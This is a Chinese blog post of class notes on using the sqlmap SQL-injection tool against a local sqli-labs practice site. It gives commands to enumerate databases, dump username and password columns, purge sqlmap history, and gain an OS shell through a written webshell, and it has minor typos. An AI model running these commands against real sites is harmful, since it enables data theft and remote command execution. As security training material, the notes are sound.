sqlmap的基本使用办法

it2023-02-02  52

sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。目前支持13种数据库。

sqlmap工作流程

http://127.0.0.1/index.php?a=1&b=2&c=3 当给sqNmap这么一个url的时候,它会: 1.检测网站是否能够访问 2.检测是否有waf 3.判断可注入的参数

sqlmap目录介绍

doc目录,包含sqlmap的简要说明,具体使用说明、作者信息等。 extra目录,包含了sqlmap的额外功能,例如发出声响、运行cmd、安全执行等 ib目录,sqlmap核心目录 plugins目录,包含了sqlmap目前支持的13种数据库信息和数据库通用事项。 tamper目录,这里包含了waf绕过脚本。 thirdparty目录,包含了第三方插件,例如优化、保持连接、颜色。 procs目录,包含了mssqlmysql、oracle、postgresql的触发程序。 shell目录,包含了注入成功后的8种shell远程命令执行 txt目录,包含了表名字典,列名字典,UA字典等。 udf目录,存放攻击载荷 xml目录,存放多种数据库注入检测的payload等信息

sqlmap支持六种不同的注入模式:

(1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。 (2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面加载时间增加)来判断。 (3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。 (4)联合查询注入,可以使用union的情况下的注入。 (5)堆查询注入,可以同时执行多条语句的执行时的注入。 (6)内联查询注入,在sql语句中执行sql语句

我认识的数据库有12种:

MySQL,Oracle,PostgreSQL Microsoft SQL Server,Microsoft Access,IBM DB2, SQLite,Firebird, SybasE,SAP MaxDB,informix,HsqlDB

(1)判断是否有注入 python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/?id=1” (2)查看所有数据库 python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/?id=1” --dbs (3)查看当前使用的数据库 python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/?id=1” --current-db (4)查看数据表 python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/?id=1” -D security --tables (5)查看列名 python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/?id=1” -D security -T users --columns (6)查看数据 python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/?id=1” -D security -T users -C username,password --dump

sqlmap历史记录

windows C:\Users\test\AppData\Local\sqlmap Linux /home/test/.sqlmap /root/.sqlmap 如何清除历史记录 (1) python sqImap.py --purge (2)删除sqlmap的output文件夹

查看payload

sqlmap -u “http://127.0.0.1/Less-1/index.php?id=1” -v 3 观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。 共有七个等级,默认为1: 0、只显示python错误以及严重的信息。 1、同时显示基本信息和警告信息。(默认) 2、同时显示debug信息。 3、同时显示注入的payload。 4、同时显示HTTP请求。 5、同时显示HTTP响应头。 6、同时显示HTTP响应页面。

查看所有用户

python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/?id=1” --users

用来POST注入 python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-11/?id=1” --data “uname=1&passwd=1&submit=Submit” python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-11/?id=1” --data “uname=1&passwd=1&submit=Submit” --dbs python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-11/?id=1” --data “uname=1&passwd=1&submit=Submit” -D security --tables python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-11/?id=1” --data “uname=1&passwd=1&submit=Submit” -D security -T users --columns python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-11/?id=1” --data “uname=1&passwd=1&submit=Submit” -D security -T users -C username,password --dump

从文件中读取URL,批量注入考虑

加双引号是为了防止歧义 python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-11/?id=1” -r 文件路径 指定级别 python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-11/?id=1” -r 文件路径 --level=3 指定注入点 python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-11/?id=1” -r 文件路径 --level=3 -p “userAgent”

指定线程数

python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-11/?id=1” -r 文件路径 --level=3 -p “User-Agent” --threads=10

sqlmap -m 查询指定用户名 python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/?id=1” --users root

一次查询 python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/?id=1” --sql-query @@datadir 交互式 python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/?id=1” --sql-shell 文件批量式 python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/?id=1” --sql-file 文件路径

sqlmap --os.-cmd参数

sqlmap执行命令的原理 利用写文件写入一个上传页面,然后利用上传页面传一个一句话webshell执行命令 重点: 想要执行命令或写文件,有如下要求 1、单引号不能被过滤; 2、my.ini中的 secure.file-prix要为空或路径可写(改完了记得重启mysql,别踩坑) python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/index.php?id=1” --os-cmd=“whoami” 网站根目录是WWW那个

sqlmap --os-shell参数

sqlmap执行命令的原理 利用写文件写入一个上传页面,然后利用上传页面传一个一句话webshell执行命令 python sqlmap.py -u “http://127.0.0.1/sqlilabs/Less-1/index.php?id=1” --os-shell

sqlmap课堂笔记,已复现成功

最新回复(0)